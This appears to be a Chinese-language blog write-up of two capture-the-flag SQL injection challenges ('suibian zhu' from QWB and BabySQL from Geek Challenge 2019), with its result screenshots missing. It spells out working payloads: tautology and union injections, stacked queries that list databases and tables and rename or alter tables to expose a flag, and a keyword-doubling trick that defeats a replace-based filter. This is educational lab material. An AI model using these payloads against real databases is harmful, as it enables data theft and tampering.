[强网杯]随便注和[极客大挑战 2019]BabySQL
【强网杯】随便注
首先尝试采用注入1;

然后尝试注入1';

说明原本已经是闭合的了,然后尝试用’ or 1=1#
得到如下:

尝试用select来进行联合查询语句(1' union select 1,2,3#)
结果出现如下:

select语句被屏蔽了;
然后尝试一下堆叠注入 ';show databases;#

发现所有库的名字都被曝出来了
然后采用';show tables;#把表的名字曝出来

然后采用先查看1919810931114514
';show columns from `1919810931114514`;# //(desc `1919810931114514`)也可以

虽然找到flag,不过没法查看。然后尝试查查另外一个table

发现有列名里面有id,和data
联想到最开始的'or 1=1#得到的结果,推测可能'or 1=1#查询的可能是words这个表里面的结果所以想着去把1919810931114514表的名字改成words
';rename table `words` to `words1`;rename table `1919810931114514` to `words`;show columns from `words`;#
然后在用'or 1=1#发现没有flag反而显示如下

说明查询的就是id。
于是我想尝试改列名,不过每次改都会出现上图所示,所以我只好重开靶机,我不知道为啥会这样,求教。
';rename table `words` to `words1`;rename table `1919810931114514` to `words`;alter table `words` change flag id varchar(100);show columns from `words`;#

然后在输入'or 1=1#

总结:
1、当 select 等被屏蔽时可以考虑堆叠注入,用 ; 隔开每一个语句。
[极客大挑战 2019]BabySQL

结果如下,显示sql语法错误

然后把尝试用1' order by 1#
结果如下,发现还是出现了sql语法错误,并且回显的内容是der 1#

于是推测可能用的replace函数把相关词变成了空白
于是我尝试中间插入一个or,比如order 就变成 oorrder。

虽然还是出现语法错误,但是很明显order by正常执行了。
所以直接尝试用联合查询。

于是同样采用前面的方法把union 和 select变化一下。

发现显示我显示位置不对,于是我一一尝试,发现显示位应当是3个。
然后再进行联合查询
先查库名

然后再查表名

然后再查列名

然后再查内容


浙公网安备 33010602011771号